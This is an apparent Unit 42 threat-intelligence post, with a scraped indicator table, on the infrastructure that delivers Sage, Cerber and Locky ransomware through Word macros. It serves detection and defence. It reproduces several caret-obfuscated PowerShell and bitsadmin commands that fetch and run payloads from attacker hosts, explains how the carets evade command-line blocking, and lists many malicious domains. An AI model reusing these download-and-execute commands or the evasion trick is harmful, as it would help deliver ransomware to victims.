ZeroHour
Palo Alto Unit 42published ()ingested Jeff White

Farming Malicious Documents to Unravel Ransomware

highRansomwareimportance 57

Indicators of compromiseAll →

TypeIndicatorContext
domain1topfllrt.tops \ Administrator \ AppData \ Roaming \ 734g34.scr hxxp : //1topfllrt[.]top/admin.php?f=1.exe After going over the files and scraped
domainaloepolera.top13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 hxxp : //aloepolera[.]top/read.php?f=0.dat hxxp : //aoopoerope[.]top/read.php?f=0.d
domainaoopoerope.top7 28 29 hxxp : //aloepolera[.]top/read.php?f=0.dat hxxp : //aoopoerope[.]top/read.php?f=0.dat hxxp : //asecwitlecn[.]bid/read.php?f=0.
domainasecwitlecn.bidf=0.dat hxxp : //aoopoerope[.]top/read.php?f=0.dat hxxp : //asecwitlecn[.]bid/read.php?f=0.dat hxxp : //cunumlicgaf[.]bid/read.php?f=0.
domainbestflowstou.wang%.eXE' ) ; Start ^-^ p ^ rO ^ CeSS '%aPPDATA%.ExE' hxxp : //bestflowstou[.]wang/search.php hxxp : //bogidoggy[.]top/search.php hxxp : //c
domainbogidoggy.topDATA%.ExE' hxxp : //bestflowstou[.]wang/search.php hxxp : //bogidoggy[.]top/search.php hxxp : //cocalolo[.]top/search.php hxxp : //co
domaincocalolo.topang/search.php hxxp : //bogidoggy[.]top/search.php hxxp : //cocalolo[.]top/search.php hxxp : //cometogod[.]top/search.php hxxp : //d
domaincometogod.top]top/search.php hxxp : //cocalolo[.]top/search.php hxxp : //cometogod[.]top/search.php hxxp : //dogtosamdnc[.]top/search.php hxxp : /
domaincoolzeropa.topoC ^ esS 'Users\Administrator\AppData\Roaming.ExE' hxxp : //coolzeropa[.]top/admin.php?f=0.dat hxxp : //fooperight[.]top/admin.php?f=0
domaincunumlicgaf.bid=0.dat hxxp : //asecwitlecn[.]bid/read.php?f=0.dat hxxp : //cunumlicgaf[.]bid/read.php?f=0.dat hxxp : //dosehoop[.]top/read.php?f=0.dat
domaindandyhomern.topxxp : //www.asecwitlecn[.]bid/read.php?f=0.dat hxxp : //www.dandyhomern[.]top/read.php?f=0.dat hxxp : //www.ddoeroole[.]top/read.php?f=
domainddoeroole.topxxp : //www.dandyhomern[.]top/read.php?f=0.dat hxxp : //www.ddoeroole[.]top/read.php?f=0.dat hxxp : //www.doomgamesoa[.]top/read.php?
domaindoclosegoa.topA%.exE' hxxp : //doconlineaof[.]top/read.php?f=404 hxxp : //doclosegoa[.]top/read.php?f=404 hxxp : //fooperight[.]top/read.php?f=404 h
domaindoconlineaof.top; ^ STA ^ r ^ t - p ^ RO ^ ceSs ^ '%AppdATA%.exE' hxxp : //doconlineaof[.]top/read.php?f=404 hxxp : //doclosegoa[.]top/read.php?f=404 h
domaindogtosamdnc.toptop/search.php hxxp : //cometogod[.]top/search.php hxxp : //dogtosamdnc[.]top/search.php hxxp : //dpolly-dolly[.]top/search.php hxxp :
domaindoomgamesoa.tophxxp : //www.ddoeroole[.]top/read.php?f=0.dat hxxp : //www.doomgamesoa[.]top/read.php?f=0.dat hxxp : //www.johnsnowz[.]top/read.php?f=
domaindosehoop.top=0.dat hxxp : //cunumlicgaf[.]bid/read.php?f=0.dat hxxp : //dosehoop[.]top/read.php?f=0.dat hxxp : //errorfola[.]top/read.php?f=0.da
domaindpolly-dolly.topp/search.php hxxp : //dogtosamdnc[.]top/search.php hxxp : //dpolly-dolly[.]top/search.php hxxp : //flowers-my[.]wang/search.php hxxp : /
domainerrorfola.topp?f=0.dat hxxp : //dosehoop[.]top/read.php?f=0.dat hxxp : //errorfola[.]top/read.php?f=0.dat hxxp : //folueopa[.]top/read.php?f=0.dat
domainflowers-my.wang/search.php hxxp : //dpolly-dolly[.]top/search.php hxxp : //flowers-my[.]wang/search.php hxxp : //lislissli[.]wang/search.php hxxp : //
domainfolueopa.top?f=0.dat hxxp : //errorfola[.]top/read.php?f=0.dat hxxp : //folueopa[.]top/read.php?f=0.dat hxxp : //fortycooola[.]top/read.php?f=0.
domainfooperight.topphp?f=404 hxxp : //doclosegoa[.]top/read.php?f=404 hxxp : //fooperight[.]top/read.php?f=404 hxxp : //mondayhelthc[.]top/read.php?f=404
domainfortycooola.topp?f=0.dat hxxp : //folueopa[.]top/read.php?f=0.dat hxxp : //fortycooola[.]top/read.php?f=0.dat hxxp : //hometowergop[.]top/read.php?f=0
domainhometowergop.top=0.dat hxxp : //fortycooola[.]top/read.php?f=0.dat hxxp : //hometowergop[.]top/read.php?f=0.dat hxxp : //mondayhelthc[.]top/read.php?f=0
domainjohnsnowz.topxxp : //www.doomgamesoa[.]top/read.php?f=0.dat hxxp : //www.johnsnowz[.]top/read.php?f=0.dat hxxp : //www.kiselalloe[.]top/read.php?f
domainkiselalloe.tophxxp : //www.johnsnowz[.]top/read.php?f=0.dat hxxp : //www.kiselalloe[.]top/read.php?f=0.dat hxxp : //www.nnapoakea[.]top/read.php?f=
domainlislissli.wangp/search.php hxxp : //flowers-my[.]wang/search.php hxxp : //lislissli[.]wang/search.php hxxp : //lolotocoporo[.]wang/search.php hxxp :
domainlolotocoporo.wangng/search.php hxxp : //lislissli[.]wang/search.php hxxp : //lolotocoporo[.]wang/search.php hxxp : //moonshards[.]top/search.php hxxp : //
domainmondayhelthc.top0.dat hxxp : //hometowergop[.]top/read.php?f=0.dat hxxp : //mondayhelthc[.]top/read.php?f=0.dat hxxp : //newfoodas[.]top/read.php?f=0.da
domainmoonshards.topsearch.php hxxp : //lolotocoporo[.]wang/search.php hxxp : //moonshards[.]top/search.php hxxp : //panntyplenty[.]top/search.php hxxp :
domainnewfoodas.top0.dat hxxp : //mondayhelthc[.]top/read.php?f=0.dat hxxp : //newfoodas[.]top/read.php?f=0.dat hxxp : //newyeargoka[.]top/read.php?f=0.
domainnewyeargoka.top?f=0.dat hxxp : //newfoodas[.]top/read.php?f=0.dat hxxp : //newyeargoka[.]top/read.php?f=0.dat hxxp : //poooperfath[.]top/read.php?f=0.
domainnnapoakea.tophxxp : //www.kiselalloe[.]top/read.php?f=0.dat hxxp : //www.nnapoakea[.]top/read.php?f=0.dat hxxp : //www.qwatrojohn[.]top/read.php?f
domainorg.hkeach one having between 125-160 except for the “dns at unit.org[.]hk” address, which has just nine. Now, with just a quick rev
domainpanntyplenty.topng/search.php hxxp : //moonshards[.]top/search.php hxxp : //panntyplenty[.]top/search.php hxxp : //randoz-pandom[.]wang/search.php hxxp
domainpoooperfath.top=0.dat hxxp : //newyeargoka[.]top/read.php?f=0.dat hxxp : //poooperfath[.]top/read.php?f=0.dat hxxp : //ranumseh[.]bid/read.php?f=0.dat
domainqopahighk.topp?f=404 hxxp : //mondayhelthc[.]top/read.php?f=404 hxxp : //qopahighk[.]top/read.php?f=404 “admin.php?f=0.dat” 1 2 3 4 5 6 7 8 9 Wind
domainqwatrojohn.tophxxp : //www.nnapoakea[.]top/read.php?f=0.dat hxxp : //www.qwatrojohn[.]top/read.php?f=0.dat hxxp : //www.soonhalia[.]top/read.php?f=
domainrandoz-pandom.wang/search.php hxxp : //panntyplenty[.]top/search.php hxxp : //randoz-pandom[.]wang/search.php hxxp : //roggistazli[.]top/search.php hxxp : /
domainranumseh.bid=0.dat hxxp : //poooperfath[.]top/read.php?f=0.dat hxxp : //ranumseh[.]bid/read.php?f=0.dat hxxp : //smoeroota[.]top/read.php?f=0.da
domainroggistazli.topearch.php hxxp : //randoz-pandom[.]wang/search.php hxxp : //roggistazli[.]top/search.php hxxp : //sonnystafgy[.]top/search.php hxxp : /
domainrootaleyz.topeXE' ) ^ ; Star ^ T ^-^ pROCE ^ sS '%ApPDaTa%.eXE' hxxp : //rootaleyz[.]top/read.php?f=1.dat “read.php?f=404” 1 2 3 4 5 6 7 8 9 10 11
domainsmoeroota.topp?f=0.dat hxxp : //ranumseh[.]bid/read.php?f=0.dat hxxp : //smoeroota[.]top/read.php?f=0.dat hxxp : //sutraponef[.]top/read.php?f=0.d
domainsonnystafgy.topg/search.php hxxp : //roggistazli[.]top/search.php hxxp : //sonnystafgy[.]top/search.php hxxp : //sun2u[.]top/search.php hxxp : //tolle
domainsoonhalia.tophxxp : //www.qwatrojohn[.]top/read.php?f=0.dat hxxp : //www.soonhalia[.]top/read.php?f=0.dat hxxp : //zonexxopera[.]top/read.php?f=0.
domainsun2u.topp/search.php hxxp : //sonnystafgy[.]top/search.php hxxp : //sun2u[.]top/search.php hxxp : //tolleyfrvdy[.]wang/search.php hxxp :
domainsutraponef.top?f=0.dat hxxp : //smoeroota[.]top/read.php?f=0.dat hxxp : //sutraponef[.]top/read.php?f=0.dat hxxp : //toagoores[.]top/read.php?f=0.da
domaintoagoores.topf=0.dat hxxp : //sutraponef[.]top/read.php?f=0.dat hxxp : //toagoores[.]top/read.php?f=0.dat hxxp : //totalonedk[.]top/read.php?f=0.d
domaintolleyfrvdy.wangy[.]top/search.php hxxp : //sun2u[.]top/search.php hxxp : //tolleyfrvdy[.]wang/search.php hxxp : //transporingsytw[.]wang/search.php hxx
domaintomyyplayde.com) ; Start - Process $ path ; break ; } catch { } } hxxp : //tomyyplayde[.]com/read.php?f=3.dat Last, but not least, there was samples s
domaintotalonedk.top?f=0.dat hxxp : //toagoores[.]top/read.php?f=0.dat hxxp : //totalonedk[.]top/read.php?f=0.dat hxxp : //www.aoopoerope[.]top/read.php?f
domaintransporingsytw.wang/search.php hxxp : //tolleyfrvdy[.]wang/search.php hxxp : //transporingsytw[.]wang/search.php hxxp : //travelsserts[.]wang/search.php hxxp :
domaintravelsserts.wangrch.php hxxp : //transporingsytw[.]wang/search.php hxxp : //travelsserts[.]wang/search.php hxxp : //trendsnonstop[.]top/search.php hxxp :
domaintrendsnonstop.topsearch.php hxxp : //travelsserts[.]wang/search.php hxxp : //trendsnonstop[.]top/search.php hxxp : //truepokemonant[.]top/search.php hxxp
domaintruepokemonant.topsearch.php hxxp : //trendsnonstop[.]top/search.php hxxp : //truepokemonant[.]top/search.php hxxp : //trustedfoevery[.]top/search.php hxxp
domaintrustedfoevery.topearch.php hxxp : //truepokemonant[.]top/search.php hxxp : //trustedfoevery[.]top/search.php hxxp : //trustgovnet[.]top/search.php hxxp : /
domaintrustgovnet.topearch.php hxxp : //trustedfoevery[.]top/search.php hxxp : //trustgovnet[.]top/search.php hxxp : //truthforeyoue[.]top/search.php hxxp :
domaintruthforeyoue.topp/search.php hxxp : //trustgovnet[.]top/search.php hxxp : //truthforeyoue[.]top/search.php hxxp : //zussipussicscds[.]top/search.php “rea
domainunit.orgwith each one having between 125-160 except for the “dns at unit.org[.]hk” address, which has just nine. Now, with just a quick
domainzonexxopera.top.dat hxxp : //www.soonhalia[.]top/read.php?f=0.dat hxxp : //zonexxopera[.]top/read.php?f=0.dat To determine if there were any underlyin
domainzussipussicscds.topsearch.php hxxp : //truthforeyoue[.]top/search.php hxxp : //zussipussicscds[.]top/search.php “read.php?f=1.dat” 1 2 3 4 5 6 7 Windows \ Sys
Full article3,558 words · extracted from unit42.paloaltonetworks.com · click to collapse

While analyzing a recent malicious Microsoft Word document, it downloaded a ransomware variant, “SAGE 2.0” (Sage Locker), which is a spin-off from CryLock. This ransomware has been slowly making the rounds lately; most notably because a number of these campaigns have been seen delivering both Sage and Cerber ransomware families from the same download locations, sometimes changing between the two periodically throughout the day.

In this blog post, I plan to analyze the distribution infrastructure for the ransomware and enumerate indicators that can be deployed for detection and prevention; however, before I get into the infrastructure, I need to briefly mention how the distribution occurs.

I stumbled across this, not because of the ransomware itself, but due to how the Microsoft Word documents download the ransomware executable. Specifically, these Microsoft Word documents are delivered via e-mail, as usually happens with these types of ransomware campaigns, and launch a PowerShell process to download the actual ransomware using an evasion technique I’ve been monitoring. The idea behind the evasion technique is to bypass pattern or string matches that prevent process launching by using the Windows command-line escape caret character injected between your regular characters to break up commands such as “powershell” and “executionpolicy” – below is an example of this.

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Windows\SysWOW64\cmd.exe,Windows\System32\cmd.exe/C

PoWER^s^h^eL^l.^eX^E-^Ex^Ec^uti^oN^p^o^L^I^C^y^^ByPASS^-

nO^pR^OFiL^e-^Win^DoW^St^YLe^hiDdEN(^nEw-ObJEc^t

^sys^t^e^m.nE^T.wEBc^l^ieNT^).D^O^WNl^oAd^fi^le^(^'http://vvorootad.top/r

ead.php?f=0.dat','Users\Administrator\AppData\Roaming.eXe');s^tArT-

^P^ro^C^E^Ss^'Users\Administrator\AppData\Roaming.EXe'

If, for example, you tried to block “powershell”, it would fail because the carets have broken up the word, but it will have no impact on Microsoft Window’s actual processing of it. The Microsoft Word document contains an obfuscated macro that puts together this command and executes it, which subsequently downloads the ransomware file and runs it. Nothing mind bending but, despite its attempt to evade detection and prevention, it actually stands out more and has the reverse effect.

Pivoting off of this path in the URL “read.php?f=0.dat”, I was able to use Palo Alto Networks AutoFocus to quickly identify 9,107 unique Microsoft Word document since December 15th, 2016 that matched this pattern in their dynamic process activity. From there, I was able to extract all of the download locations being used by this campaign from the identified samples.

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hxxp://aloepolera[.]top/read.php?f=0.dat

hxxp://aoopoerope[.]top/read.php?f=0.dat

hxxp://asecwitlecn[.]bid/read.php?f=0.dat

hxxp://cunumlicgaf[.]bid/read.php?f=0.dat

hxxp://dosehoop[.]top/read.php?f=0.dat

hxxp://errorfola[.]top/read.php?f=0.dat

hxxp://folueopa[.]top/read.php?f=0.dat

hxxp://fortycooola[.]top/read.php?f=0.dat

hxxp://hometowergop[.]top/read.php?f=0.dat

hxxp://mondayhelthc[.]top/read.php?f=0.dat

hxxp://newfoodas[.]top/read.php?f=0.dat

hxxp://newyeargoka[.]top/read.php?f=0.dat

hxxp://poooperfath[.]top/read.php?f=0.dat

hxxp://ranumseh[.]bid/read.php?f=0.dat

hxxp://smoeroota[.]top/read.php?f=0.dat

hxxp://sutraponef[.]top/read.php?f=0.dat

hxxp://toagoores[.]top/read.php?f=0.dat

hxxp://totalonedk[.]top/read.php?f=0.dat

hxxp://www.aoopoerope[.]top/read.php?f=0.dat

hxxp://www.asecwitlecn[.]bid/read.php?f=0.dat

hxxp://www.dandyhomern[.]top/read.php?f=0.dat

hxxp://www.ddoeroole[.]top/read.php?f=0.dat

hxxp://www.doomgamesoa[.]top/read.php?f=0.dat

hxxp://www.johnsnowz[.]top/read.php?f=0.dat

hxxp://www.kiselalloe[.]top/read.php?f=0.dat

hxxp://www.nnapoakea[.]top/read.php?f=0.dat

hxxp://www.qwatrojohn[.]top/read.php?f=0.dat

hxxp://www.soonhalia[.]top/read.php?f=0.dat

hxxp://zonexxopera[.]top/read.php?f=0.dat

To determine if there were any underlying correlations at the registrant level, I pulled WHOIS data for all of the identified domains and, sure enough, another pattern begins to emerge.

Figure 1 Connections between delivery domains.

What you see in Figure 1 are five clusters of domains: the light green represent the Name of the person who registered the domain and the dark gray represents the persons e-mail. For each “person” there are multiple domains that are tied to that identity.

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deanmcd at mail[.]com

dns at unit.org[.]hk

galicole at mail[.]com

jenniemarc at mail[.]com

lecborbobl at rothtec[.]com 

With this information in hand, I used the e-mails to continue pivoting and pulled every domain these identities have registered. To my surprise, there were 574 total domains, with each one having between 125-160 except for the “dns at unit.org[.]hk” address, which has just nine.

Now, with just a quick review of some of these domains you can get a feel for the general malicious nature of them through the abundant amount of domains masquerading as other companies, whether for phishing or evasion purposes.

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americarneexpress[.]com

barclaycardsecure[.]de

barclayscardsecure[.]com

com-au-netbank[.]top

commbank-com[.]top

microsoftsecuritycheck[.]info

microsoftstat[.]in

scotiaonlinescotiabankinstantsupport[.]com

scotiaonlinescotiabankinstantunlock[.]com

scotiaonlinescotiabankinstantupdate[.]com

scotiaonlinescotiabankinstantupdates[.]com

scotiaonlinescotiabankliveupdate[.]com

scotiaonlinescotiabankliveupdates[.]com

scotiaonlinescotiabanksecurityupdates[.]com

scotiaonlinescotiabankservicehelp[.]com

scotiaonlinescotiabanksystemupdate[.]com

scotiaonlinescotiabanksystemupdates[.]com

scotiaonlinescotiabanktechdepartment[.]com

securin-gmail[.]com

security-amerilcanexpress[.]online

updatedmicrosoftoffi1e[.]com

updatemicrosoftoffi1e[.]com

Using this new list of domains, I was able to go back through AutoFocus and further enumerate another 12,422 samples, all showing similar activity to the previous documents.

Below are examples of each variation of their download command and unique URL path.

“search.php”

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Windows\SysWOW64\cmd.exe,cMd.eXe/cpow^ers^He^lL.^exE-

exEC^UTiOnpol^icy^^bY^Pa^S^S^-^NoPr^ofiLE^-W^INDo^Ws^T^Yle^

HI^DdEN^(nEw-obJ^e^C^T^

^sys^tEM.^nET.W^ebC^LIeNt^)^.dOwN^L^OAD^f^iLE^('http://sonnystafgy.top/se

arch.php',^'%APPDAtA%.eXE');Start^-^p^rO^CeSS'%aPPDATA%.ExE'

hxxp://bestflowstou[.]wang/search.php

hxxp://bogidoggy[.]top/search.php

hxxp://cocalolo[.]top/search.php

hxxp://cometogod[.]top/search.php

hxxp://dogtosamdnc[.]top/search.php

hxxp://dpolly-dolly[.]top/search.php

hxxp://flowers-my[.]wang/search.php

hxxp://lislissli[.]wang/search.php

hxxp://lolotocoporo[.]wang/search.php

hxxp://moonshards[.]top/search.php

hxxp://panntyplenty[.]top/search.php

hxxp://randoz-pandom[.]wang/search.php

hxxp://roggistazli[.]top/search.php

hxxp://sonnystafgy[.]top/search.php

hxxp://sun2u[.]top/search.php

hxxp://tolleyfrvdy[.]wang/search.php

hxxp://transporingsytw[.]wang/search.php

hxxp://travelsserts[.]wang/search.php

hxxp://trendsnonstop[.]top/search.php

hxxp://truepokemonant[.]top/search.php

hxxp://trustedfoevery[.]top/search.php

hxxp://trustgovnet[.]top/search.php

hxxp://truthforeyoue[.]top/search.php

hxxp://zussipussicscds[.]top/search.php

“read.php?f=1.dat”

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Windows\SysWOW64\cmd.exe,CmD.eXe/CpOw^erShELL.^Ex^e^-

eXEC^UTi^OnpO^LiC^y^BYP^a^sS-NOP^Ro^F^Il^E-w^inDo^w^sTY^Le

H^i^d^de^n^(N^EW-OBj^e^Ct^

SysTem.net.wEBcl^ie^n^t^).doWnlOaDF^I^Le('http://rootaleyz.top/read.php?f=1.

dat',^'%aPpdata%.eXE')^;Star^T^-^pROCE^sS'%ApPDaTa%.eXE'

hxxp://rootaleyz[.]top/read.php?f=1.dat

“read.php?f=404”

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Windows\SysWOW64\cmd.exe,Cmd.EXE/CpO^weRshe^l^L.exE^-

EXecu^T^I^o^n^p^olIcY^^BYpASS-n^Op^r^O^f^IlE^^-W^i^NDo^WStY^LE

hIdd^en^(^NE^W^-OBJ^ECT^

sySt^Em^.^N^et.^weBClieNt).dO^W^N^lOAdFil^e(^'http://doconlineaof.top/read.

php?f=404','%APPDAta%.exE')^;^STA^r^t-p^RO^ceSs^'%AppdATA%.exE'

hxxp://doconlineaof[.]top/read.php?f=404

hxxp://doclosegoa[.]top/read.php?f=404

hxxp://fooperight[.]top/read.php?f=404

hxxp://mondayhelthc[.]top/read.php?f=404

hxxp://qopahighk[.]top/read.php?f=404

“admin.php?f=0.dat”

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Windows\SysWOW64\cmd.exe,Windows\System32\cmd.exe/C

P^Ow^Ers^HEL^l.eX^E-e^X^Ecuti^ONPOlIc^YBY^PAsS^-Noprof^Il^e^-

w^iNDo^W^styLE hIDD^E^N^(New-o^bJE^Ct^

^SYSTEm.net.w^eb^cLIenT).^dOwnloA^dfI^le('http://coolzeropa.top/admin.php?f

=0.dat',^'Users\Administrator\AppData\Roaming.eXe');St^ar^T^-Pr^oC^esS

'Users\Administrator\AppData\Roaming.ExE'

hxxp://coolzeropa[.]top/admin.php?f=0.dat

hxxp://fooperight[.]top/admin.php?f=0.dat

“admin.php?f=1.jpg”

1

2

3

4

5

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7

8

Windows\SysWOW64\cmd.exe,Windows\System32\cmd.exe/c

POw^ErSHEL^l^.^E^xE-^eXe^CUtiONp^OLi^cYb^yPASs^-Nop^R^OFILe^-

^WInd^oWstyLe hIDD^eN^(^neW-oB^jE^C^t

^s^Y^StEm.^nEt.wE^BcLIEnt^).^DOWNloadfILE(^'http://www.hometowergop.top

/admin.php?f=1.jpg','Users\Administrator\AppData\Roaming.exe')^;STa^RT-

pr^O^c^e^sS^'Users\Administrator\AppData\Roaming.EXe'

hxxp://www.hometowergop[.]top/admin.php?f=1.jpg

This next one is particularly interesting as it was serving Locky instead of Sage or Cerber. The first instance of this was on December 9, six days before the Sage and Cerber campaigns described in this post began.

Another thing to note is that it uses a different PowerShell command but the actor(s) behind it still used the “read.php?f=X.dat” format during the download.

“read.php?f=3.dat”

1

2

3

4

5

6

7

WINDOWS\system32\cmd.exe,cmd/cpowershellForeach($urlin

@({http://tomyyplayde.com/read.php?f=3.dat})){try{$path =

'%tmp%\35898.exe';(New-Object

System.Net.WebClient).DownloadFile($url.ToString(),$path);Start-Process

$path;break;}catch{}}

hxxp://tomyyplayde[.]com/read.php?f=3.dat

Last, but not least, there was samples starting on August 6, 2016 which used yet another iteration to download the ransomware. This one uses BITS to transfer the file as opposed to PowerShell and drops the file with a screensaver “scr” extension instead of the previously seen executable “exe” in newer iterations.

“admin.php?f=1.exe”

1

2

3

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5

Windows\SysWOW64\bitsadmin.exe,bitsadmin/transfer myjob/download

/priority high http://1topfllrt.top/admin.php?f=1.exe

Users\Administrator\AppData\Roaming\734g34.scr

hxxp://1topfllrt[.]top/admin.php?f=1.exe

After going over the files and scraped data from dynamic analysis reports, it’s clear the actor(s) behind this campaign have a pattern they like to follow. Regardless of ransomware variant, these small trails can allow us to unravel a larger infrastructure and generate more actionable data for current and, possibly, future threats.

Palo Alto Networks customers are defended by this threat in the following ways:

  • The domains used to delivery this malware and used in related attacks are blocked through Threat Prevention
  • WildFire identifies files using these techniques as malicious
  • AutoFocus users can identify related activity using the PowerShellCaretObfuscation and CerberSage_Distribution

Below is a summary of indicators that can be used for detection and prevention.

Enumerated Paths:

1

2

3

4

5

6

7

8

admin.php?f=0.dat

admin.php?f=1.exe

admin.php?f=1.jpg

read.php?f=0.dat

read.php?f=1.dat

read.php?f=3.dat

read.php?f=404

search.php

Direct ransomware download URLs:

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64

hxxp://aloepolera[.]top/read.php?f=0.dat

hxxp://aoopoerope[.]top/read.php?f=0.dat

hxxp://asecwitlecn[.]bid/read.php?f=0.dat

hxxp://cunumlicgaf[.]bid/read.php?f=0.dat

hxxp://dosehoop[.]top/read.php?f=0.dat

hxxp://errorfola[.]top/read.php?f=0.dat

hxxp://folueopa[.]top/read.php?f=0.dat

hxxp://fortycooola[.]top/read.php?f=0.dat

hxxp://hometowergop[.]top/read.php?f=0.dat

hxxp://mondayhelthc[.]top/read.php?f=0.dat

hxxp://newfoodas[.]top/read.php?f=0.dat

hxxp://newyeargoka[.]top/read.php?f=0.dat

hxxp://poooperfath[.]top/read.php?f=0.dat

hxxp://ranumseh[.]bid/read.php?f=0.dat

hxxp://smoeroota[.]top/read.php?f=0.dat

hxxp://sutraponef[.]top/read.php?f=0.dat

hxxp://toagoores[.]top/read.php?f=0.dat

hxxp://totalonedk[.]top/read.php?f=0.dat

hxxp://www.aoopoerope[.]top/read.php?f=0.dat

hxxp://www.asecwitlecn[.]bid/read.php?f=0.dat

hxxp://www.dandyhomern[.]top/read.php?f=0.dat

hxxp://www.ddoeroole[.]top/read.php?f=0.dat

hxxp://www.doomgamesoa[.]top/read.php?f=0.dat

hxxp://www.johnsnowz[.]top/read.php?f=0.dat

hxxp://www.kiselalloe[.]top/read.php?f=0.dat

hxxp://www.nnapoakea[.]top/read.php?f=0.dat

hxxp://www.qwatrojohn[.]top/read.php?f=0.dat

hxxp://www.soonhalia[.]top/read.php?f=0.dat

hxxp://zonexxopera[.]top/read.php?f=0.dat

hxxp://bestflowstou[.]wang/search.php

hxxp://bogidoggy[.]top/search.php

hxxp://cocalolo[.]top/search.php

hxxp://cometogod[.]top/search.php

hxxp://dogtosamdnc[.]top/search.php

hxxp://dpolly-dolly[.]top/search.php

hxxp://flowers-my[.]wang/search.php

hxxp://lislissli[.]wang/search.php

hxxp://lolotocoporo[.]wang/search.php

hxxp://moonshards[.]top/search.php

hxxp://panntyplenty[.]top/search.php

hxxp://randoz-pandom[.]wang/search.php

hxxp://roggistazli[.]top/search.php

hxxp://sonnystafgy[.]top/search.php

hxxp://sun2u[.]top/search.php

hxxp://tolleyfrvdy[.]wang/search.php

hxxp://transporingsytw[.]wang/search.php

hxxp://travelsserts[.]wang/search.php

hxxp://trendsnonstop[.]top/search.php

hxxp://truepokemonant[.]top/search.php

hxxp://trustedfoevery[.]top/search.php

hxxp://trustgovnet[.]top/search.php

hxxp://truthforeyoue[.]top/search.php

hxxp://zussipussicscds[.]top/search.php

hxxp://rootaleyz[.]top/read.php?f=1.dat

hxxp://doconlineaof[.]top/read.php?f=404

hxxp://doclosegoa[.]top/read.php?f=404

hxxp://fooperight[.]top/read.php?f=404

hxxp://mondayhelthc[.]top/read.php?f=404

hxxp://qopahighk[.]top/read.php?f=404

hxxp://coolzeropa[.]top/admin.php?f=0.dat

hxxp://fooperight[.]top/admin.php?f=0.dat

hxxp://www.hometowergop[.]top/admin.php?f=1.jpg

hxxp://tomyyplayde[.]com/read.php?f=3.dat

hxxp://1topfllrt[.]top/admin.php?f=1.exe

Enumerated Domains:

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7

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1478520[.]top

1topfllrt[.]top

2by[.]in

2tiotio[.]top

76ingbf[.]top

823ad893992[.]top

828347d8923[.]top

aaaaaar[.]info

abortppier[.]top

acotooptih[.]top

adiidiam[.]top

adrena123[.]in

advertisingspace[.]co.in

aeropoer[.]top

agiflecnefd[.]bid

aktualisierung-4772618[.]com

aktualisierung377483[.]com

aloepolera[.]top

aloesantanewd[.]top

americarneexpress[.]com

amhstcorp[.]net

anotherone[.]in

aoopoerope[.]top

argequdogsdh[.]net

asecwitlecn[.]bid

asmeraled[.]top

asot77554best[.]net

assassination[.]top

astalavistalol[.]info

astrosean[.]top

atonement[.]top

au-netbank[.]top

barbossshoping[.]info

barclaycardsecure[.]de

barclayscardsecure[.]com

bareknuckle[.]top

battterlog[.]info

bbmvnduweeigjaj[.]com

be4jump[.]in

be4jump2[.]in

be4jump3[.]in

be4jump3ns[.]in

beforeyougogg[.]net

bestflowstou[.]wang

bestpromoz[.]com

besttraffic[.]in

betastemp[.]net

binaryoptions12000[.]top

binaryoptions15000[.]top

blablacarhello[.]in

bloodsucker[.]top

bobobmdola[.]top

bogidoggy[.]top

bogtdrfdeqabyyxdg[.]net

bolshedelatnebudustakimraskaldom[.]top

bonsafety[.]info

brobrodns[.]com

brothjoney[.]net

browseradvssafe[.]com

btcc-hr[.]com

buttonart[.]xyz

cba0012[.]top

cesaronefew[.]top

childgura[.]in

china-mama[.]top

chinarobotop[.]top

chinasufffppotyshopr[.]top

chinasuppotychinasuppotynysgchinasuppotwgiftst[.]top

chinatopshopsop[.]top

chistmaasst[.]top

chjjjjkkkka[.]top

chouscarr[.]in

chowlmail[.]com

christmaasnd[.]top

christmaasrd[.]top

chwangostopos[.]top

clubsocial[.]in

cocacolachocolate[.]pw

cocalolo[.]top

cococpopo[.]co.in

com-au-netbank[.]top

com-au[.]top

com-au1[.]top

com-au2[.]top

com-au3[.]top

cometogod[.]top

comfortoflop[.]info

commbank-com[.]top

comolocko[.]co.in

cookietroopodal[.]wang

coolzeropa[.]top

copiesnd[.]top

copiesst[.]top

creativeparty[.]info

csscheckregs[.]info

cunumlicgaf[.]bid

customclientservicesresponders[.]net

cyberdomain[.]in

czetcoola[.]top

daimoidomainemne[.]info

dandyhomern[.]top

dbftnty456ffff[.]top

ddoeroole[.]top

decontamination[.]top

decryptdecryptdec

decrypt-me[.]info

defectiveduryou[.]com

dendro469[.]in

derirreynd[.]top

derirreyst[.]top

deryu[.]in

disfigured[.]top

dislikable[.]top

dnsmixbussiness[.]info

doc4tolllcp[.]top

doclosegoa[.]top

doconlineaof[.]top

dogtosamdnc[.]top

dokfooazer[.]top

doktor-wilhelm-vonberg[.]top

dolceitaliaz[.]topdolceitrop.top

domadomdomaine[.]com

domailpost[.]com

domaindomain

domanbomba[.]biz

domaseagov[.]biz

domenpofigkakoi[.]in

donasongl[.]top

donbassnoloveukraine[.]com

dondokier[.]top

donner-wetter-info[.]top

doomgamesoa[.]top

dorotycoockingbooks[.]com

dosehoop[.]top

dpolly-dolly[.]top

dsmmercoulda[.]top

dwarees[.]in

e2otoopcpr[.]top

easy-money10000[.]top

easy-money20000[.]top

entrails[.]net

errorfola[.]top

escapegasmech[.]com

f4s[.]in

fabianwosarfreeporn[.]com

fbaccessform[.]com

ficnecwxpqwftazmlck[.]info

file4hosti[.]info

finestololoki[.]top

finishirenemoflexvathard[.]com

firstdomain[.]in

fitnesscoffee[.]biz

five5lesson[.]top

fivethreemotherfatherdogcat[.]pw

fjkshksd3[.]in

flava-lava[.]in

flowers-my[.]wang

foolewhot[.]top

fooperight[.]top

forthehnms[.]top

fortinsto[.]com

fortycooofortycoooforelworld[.]top

fraujenod[.]fraujenolorelab.wang

freditt[.]net

freealphadns[.]top

gdemoidomaine[.]info

gerbmail[.]com

gerbpost[.]com

getintogamefast[.]net

getns54tope[.]top

getthisshitxxxx[.]in

globalllns[.]in

godderyki[.]in

golodoomam[.]top

goodfoodprod[.]xyz

goodsdnss[.]info

googgaol[.]top

gooholtan[.]wang

goonricerwiththat[.]in

gosharubchinskiy[.]xyz

gplayappapi[.]com

guillotine[.]top

hboodemyjeepingforlivevinil[.]com

hometowergop[.]top

hookup3333[.]top

hookup4444[.]top

hootholoj[.]top

hostingdnsnew[.]top

hostmicrosoftstat[.]in

hq2uoy[.]top

hqrelaction[.]top

hqrelation[.]top

hqtopof[.]info

hqtopon[.]info

hqtrssx[.]top

hqttph[.]top

hqttpq[.]top

htpthg[.]top

httphqs[.]top

httsps[.]top

id2810id2810top-sities[.]co.in

id8342[.]wang

idontlikeyoumister[.]in

igoodsnd[.]wang

igoodsst[.]top

